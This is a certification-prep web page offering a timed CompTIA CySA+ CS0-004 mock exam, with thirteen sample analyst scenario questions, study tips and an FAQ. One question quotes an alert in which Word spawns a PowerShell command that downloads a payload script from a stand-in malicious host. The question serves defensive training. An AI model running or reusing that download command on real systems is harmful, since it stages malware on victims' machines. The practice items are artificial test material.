Simulate the real CompTIA CySA+ CS0-004 exam with full-length timed sessions. Questions drawn proportionally from all 4 official blueprint domains — the same mix you'll face on test day.
Simulate real exam conditions
For the most realistic CS0-004 simulation, start a 60 or 120-question session, put away all notes, set a timer matching the real exam duration (165 minutes), and commit to each answer before moving forward. This trains the time management and decision-making skills the real exam tests.
This free CS0-004 mock exam uses the same question distribution as the real CompTIA CySA+ CS0-004 exam. Each session draws questions proportionally from all 4 official blueprint domains published by CompTIA, so the topic mix you see accurately reflects what you'll face on test day.
CS0-004 Domain Distribution
Security Operations
Reporting and Communication
Vulnerability Management
Incident Response and Management
Every question is checked against the 2026 CS0-004exam objectives and published under the editorial oversight of an engineer with 12+ years' experience. These are original practice questions — not dumps — so you build real understanding rather than memorising answers.
Both the mock exam and practice test use the same question bank. The difference is in how you use them — and when to use each during your CS0-004 study plan.
Practice test — for learning
Use the CS0-004 practice test when you are studying a domain. Answer questions, read every explanation immediately, and build understanding. Do 10–30 questions per domain per session. This is your primary study tool for the first 4 weeks.
Go to practice test →Mock exam — for simulation
Use the CS0-004 mock exam in the final 1–2 weeks before your test date. Complete a 60 or 120-question session without stopping, manage your time, then review all results at the end. This builds exam-day stamina and surfaces final weak spots.
Start 120-question mock →Try these sample questions from the mock exam bank. Commit to an answer before revealing the explanation.
A security analyst is reviewing a SIEM alert that triggered on a single failed login attempt from an internal IP address to a domain controller at 3:00 AM. The user associated with the account is on vacation. Which classification best describes this alert?
Select an answer to reveal the explanation
During a traffic analysis, a security analyst observes repeated outbound connections from an internal workstation to an external IP address on TCP port 53 at irregular intervals. The connections are small and occur every few minutes. Which technique is most likely being used?
Select an answer to reveal the explanation
An analyst is investigating an EDR alert showing that 'powershell.exe' was launched by 'winword.exe' with the command: 'powershell -Command Invoke-WebRequest -Uri http://malicious.com/payload.ps1 -OutFile C:\Users\Public\payload.ps1'. Which LOLBin technique is being observed?
Select an answer to reveal the explanation
A vulnerability scan report shows a critical vulnerability with a CVSS score of 9.8 on an internal web server. The server is not internet-facing and is protected by a compensating control: a web application firewall (WAF) that blocks the attack vector. What should the analyst recommend?
Select an answer to reveal the explanation
A security analyst needs to communicate the business impact of a newly discovered critical vulnerability to the executive team. Which of the following is the BEST approach?
Select an answer to reveal the explanation
During an incident response, the SOC team identifies a data breach involving customer PII. Under GDPR, what is the maximum time frame to notify the supervisory authority?
Select an answer to reveal the explanation
A security analyst is reviewing vulnerability scan results and notices that a critical vulnerability on a web server has a CVSS v3.1 base score of 9.8 with the vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Which component of the CVSS vector indicates that the vulnerability can be exploited from a remote network?
Select an answer to reveal the explanation
A security analyst is using the EPSS to prioritize vulnerabilities for remediation. EPSS is designed to estimate the likelihood that a vulnerability will be exploited in the wild. Which of the following best describes how EPSS should be used in vulnerability management?
Select an answer to reveal the explanation
A security team is implementing configuration management for a set of Linux servers in a non-DoD environment. They want to apply a security baseline that provides a balanced approach between security and operational efficiency. Which of the following would be most appropriate?
Select an answer to reveal the explanation
A security analyst is using Burp Suite to test an API endpoint. The analyst notices that the API returns detailed error messages when invalid input is provided, revealing database schema information. Which OWASP Top 10 category does this issue primarily relate to?
Select an answer to reveal the explanation
During the detection and analysis phase of the NIST SP 800-61 incident response lifecycle, an analyst identifies suspicious network traffic from an internal host to a known malicious IP address. Which step should the analyst perform next to validate the alert?
Select an answer to reveal the explanation
An organization's security team receives an alert about a potential ransomware infection on a critical server. The severity classification is 'high' because the server supports a production database. According to the incident response plan, which containment action should be taken first to minimize data loss?
Select an answer to reveal the explanation
A forensic analyst is investigating a suspected data breach involving a compromised workstation. The analyst wants to collect volatile data in accordance with the order of volatility. Which sequence of data collection is correct?
Select an answer to reveal the explanation
Answer all 13 questions to see your domain score breakdown
Sitting the CS0-004 under real exam conditions is a skill in itself. Candidates who underperform often do so not because of knowledge gaps, but because of poor time management or test anxiety. Use your final mock exam sessions to address both.
The CS0-004 exam lasts 165 minutes. Do not spend more than 90 seconds on any single question on the first pass. Flag difficult ones and return to them after completing the rest.
On every question, immediately eliminate obviously wrong choices. Even if you are unsure between two options, narrowing to two doubles your odds. Most CS0-004 distractors contain a subtle error — re-read the scenario constraint before committing to the answer that sounds most familiar.
CompTIA writes many CS0-004 questions as realistic scenarios. Read the final sentence first — it tells you what is being asked. Then re-read the scenario with the question in mind to avoid wasting time on irrelevant details.
The real CS0-004 is a mental marathon lasting 165 minutes. In the week before your exam, complete at least two full timed mock sessions on separate days to build concentration stamina. If you cannot stay focused for 165 minutes in practice, you will struggle on exam day.
Questions
85
On the real exam
Time limit
165 min
1.9 min per question
Passing score
750/1000
Scaled scoring
The CS0-004 uses scaled scoring — your raw percentage correct is converted to a score out of 1000. Consistently scoring above 80% on mock exams puts you well above the 750/1000 threshold, giving you a buffer for any unexpected question types on the real exam.
Yes. Courseiva provides free CS0-004 mock exam questions across all official exam domains. The platform includes timed simulation, per-domain score breakdown, missed-question review, and readiness tracking. No account required — free forever, supported by advertising.
The practice test is optimised for learning: you see explanations after each question immediately. The mock exam is optimised for simulation: you answer all questions under time pressure and review at the end. Use practice tests for studying and mock exams for benchmarking.
Aim for consistent scores of 80% or above on full-length CS0-004 mock exams before booking your test date. The official passing score of 750/1000 corresponds to roughly 72–75% correct answers, so an 80% buffer accounts for difficulty variation and question styles on the real exam.
Most candidates who pass CS0-004 on their first attempt complete 3–5 full-length mock exams in the two weeks before their test. This is enough to identify final weak spots, build stamina, and verify readiness without over-stressing or running out of fresh questions.
No — all Courseiva questions are original, AI-assisted and checked against the public CompTIA exam blueprints, with editorial oversight from an experienced network and security engineer. Exam dumps are memorised real exam questions shared illegally. Using dumps violates your CompTIA certification agreement and can result in your certification being revoked. Our questions make you genuinely competent, not just test-day lucky.
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